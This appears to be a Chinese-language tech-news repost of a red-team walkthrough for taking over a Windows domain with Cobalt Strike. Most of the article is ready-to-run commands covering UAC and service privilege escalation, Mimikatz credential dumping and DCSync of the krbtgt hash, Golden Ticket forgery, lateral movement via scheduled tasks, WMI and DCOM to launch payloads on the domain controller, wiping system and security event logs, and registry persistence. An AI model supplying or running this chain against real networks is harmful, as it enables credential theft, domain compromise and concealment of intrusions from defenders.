当前位置: 首页 > news >正文

Cobalt Strike实战:一次完整的Windows内网提权与哈希获取过程复盘(含Mimikatz、Golden Ticket技巧)

Cobalt Strike高级内网渗透:从初始立足到域控攻陷的实战路径

当你的Beacon终于在一台Windows 10主机上闪烁起来,这仅仅是漫长战役的开始。真正的挑战在于如何从这个微不足道的User权限出发,穿透层层防御,最终掌控整个内网。本文将还原一次真实的红队行动,展示如何组合运用Cobalt Strike的Access模块、Mimikatz和Golden Ticket等武器,构建一条完整的攻击链。

1. 初始立足点的巩固与侦察

获得第一个Beacon会话后,大多数初级测试人员会迫不及待地尝试提权操作,这往往导致触发防御机制。更专业的做法是先进行"低慢小"的侦察:

# 获取基础系统信息 shell systeminfo | findstr /B /C:"OS Name" /C:"OS Version" shell whoami /all

关键侦察点

  • 系统架构(x86/x64)
  • 已安装的补丁级别
  • 当前用户的权限组
  • 存在的安全软件进程

提示:使用net localgroup administrators查看本地管理员组,这些账户往往是后续横向移动的跳板

通过net view /domain确认目标是否处于域环境中后,使用CS内置的端口扫描功能绘制网络拓扑:

扫描类型命令示例用途
ARP扫描portscan 192.168.1.0/24 arp 1000发现存活主机
TCP扫描portscan 192.168.1.10 icmp 445,3389确认关键端口

2. 权限提升的艺术:绕过UAC与服务漏洞

当需要从User权限提升到Administrator时,CS提供了两种经典路径:

  1. UAC绕过

    elevate uac-dll listener_name

    这种技术通过DLL劫持实现,成功率约70%,但会留下明显的日志痕迹

  2. 服务提权

    elevate svc-exe listener_name

    通过创建恶意Windows服务获取SYSTEM权限,对老旧系统特别有效

实际测试中发现,现代Windows 10/11系统对这两种方式都有较强防护。此时可以尝试组合利用:

# 检查可写服务路径 shell accesschk.exe -uwcqv "Authenticated Users" * shell sc qc vulnerable_service

提权技术对比表

技术所需条件成功率隐蔽性
UAC-DLL管理员账户
SVC-EXE服务配置缺陷
令牌窃取存在SYSTEM进程极高

3. 凭据收割:Mimikatz的进阶用法

获取管理员权限后,传统的logonpasswords命令可能无法获取完整凭据。现代防御系统会拦截经典的Mimikatz调用,此时需要采用模块化加载:

mimikatz !sekurlsa::logonpasswords mimikatz !lsadump::lsa /patch

常见问题处理

  • 遇到"Protected Process"警告时,使用!process::protect解除保护
  • 对于LSASS内存保护,先执行!process::suspend暂停进程
  • 导出结果为空时,尝试!crypto::patch修补加密函数

注意:在域控制器上执行lsadump::dcsync /user:krbtgt可直接获取黄金票据原料

4. 黄金票据:打造域内通行证

获取krbtgt的NTLM哈希后,构造黄金票据只需三个关键参数:

golden_ticket create -domain demo.com -sid S-1-5-21-... -krbtgt a9b8c7d6e5f4... -user fake_admin

票据使用技巧

  • 设置超长有效期(默认10年)
  • 将普通域用户加入特权组(Enterprise Admins)
  • 通过make_token创建交互式会话
# 验证票据有效性 shell klist shell dir \\dc01.demo.com\c$

5. 横向移动的隐蔽通道

拥有域管理员凭据后,传统的PsExec方式容易被检测。更隐蔽的做法包括:

  1. 计划任务投递

    shell schtasks /create /s dc01 /tn "Update" /tr "C:\payload.exe" /sc once /st 00:00 /ru "SYSTEM" shell schtasks /run /s dc01 /tn "Update"
  2. WMI远程执行

    shell wmic /node:dc01 process call create "cmd.exe /c start payload.exe"
  3. DCOM组件滥用

    shell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","dc01"))

6. 痕迹清理与持久化

完成目标后,专业的红队会清理战场:

# 清除事件日志 shell wevtutil cl system shell wevtutil cl security # 删除计划任务 shell schtasks /delete /tn "Update" /f # 创建隐藏后门 persistence -reg -name "WindowsUpdate" -path "C:\Windows\System32\update.exe"

持久化技术对比

方法触发条件检测难度适用场景
注册表用户登录工作站
服务系统启动服务器
WMI定时触发极高域控
启动项用户登录临时访问

在真实的渗透测试中,我曾遇到一个金融企业的内网,通过组合使用服务提权和WMI横向移动,最终在36小时内完成了从边缘员工机到域控的完整控制链。关键在于每个阶段都要准备备用方案——当UAC绕过失败时,及时切换到服务漏洞利用;当Mimikatz被拦截时,改用注册表提取哈希。

http://www.jsqmd.com/news/927201/

相关文章:

  • 阿里面试全流程及备战攻略
  • 拆解开源6位半万用表:从LM399H基准源到STM32L152,手把手分析硬件设计思路
  • 注意力碎片化时代:ACE框架与数据驱动重塑数字广告策略
  • 技术人如何构建动态阅读清单以应对指数级技术更新
  • 构建多元化加密投资组合:从机构策略到个人实践
  • 别再只会用a-table了!Ant Design Vue表格组件这5个隐藏功能,让你的后台管理效率翻倍
  • 从手机充电器到5G基站:深入浅出聊聊TVS、压敏电阻这些‘电路保镖’是怎么工作的
  • 别再手动发通知了!用ThinkPHP 6.2 + uni-push 2.0 实现APP消息自动化推送(附完整代码)
  • 实战复盘:用Cobalt Strike正向连接搞定多层内网渗透(附详细命令与避坑点)
  • 8051寄存器组管理与A51汇编器应用详解
  • DPARSF跑完数据后,这些.mat和.nii文件到底怎么看?一份给fMRI新手的输出文件解读指南
  • 告别黑盒:手把手教你用Visual Studio 2019为CANoe 12.0.75定制0x27服务DLL(附验证代码)
  • 导弹拦截制导新范式:基于贝叶斯决策的杀伤概率最大化策略
  • 从78个面试故事中提炼结构化学习法,攻克算法、系统设计与行为面试
  • 飞行模拟玩家必看:Prepar3D多屏显示失败的保姆级排查手册(从硬件到NVIDIA Surround)
  • 80C51寻址方式深度解析:从MOV A, 50H这条指令,看懂CPU如何找到数据
  • 从‘水果苹果’到‘科技苹果’:Google搜索命令的‘减号’与‘星号’,如何帮你精准过滤无效信息?
  • 基于薛定谔桥的生成式语义通信:构建语义到图像的“最优传输”高速公路
  • 别再被4K卡顿困扰!手把手教你用HDMI 2.0线搞定60Hz流畅体验(附带宽计算)
  • 基于TensorFlow的神经风格迁移实战:从原理到工程实现
  • 图像引导自适应光学入门:从SPGD算法到Zernike模式优化,一篇讲清无波前传感校正
  • 告别手动摆点!用UE5行为树+黑板打造可动态调整的智能巡逻AI系统
  • 信息论视角下的AI可解释性:查询信道容量与强逆定理
  • 从RTKLIB到iGnav:手把手教你搭建RTK/INS紧组合开发环境(含避坑指南)
  • FFmpeg 音频处理从入门到凑合听:转格式、剪音频、混音、降噪我全记下来了(附 VidDown 工具集介绍)
  • 别再只调API了!手把手带你用mbedTLS实现AES文件加密解密,搞懂CBC模式和填充的那些坑
  • 糖尿病精准管理:数据驱动下的膳食分析与血糖预测实战
  • XXL-job日志表爆了?别慌,手把手教你配置自动清理,避免MySQL CPU飙升
  • Neo4j GDS插件安装后,除了`gds.version()`,你还可以用这几种方法验证和探索
  • 别再死记硬背了!用这10个Blender核心快捷键,5分钟搞定模型贴图基础操作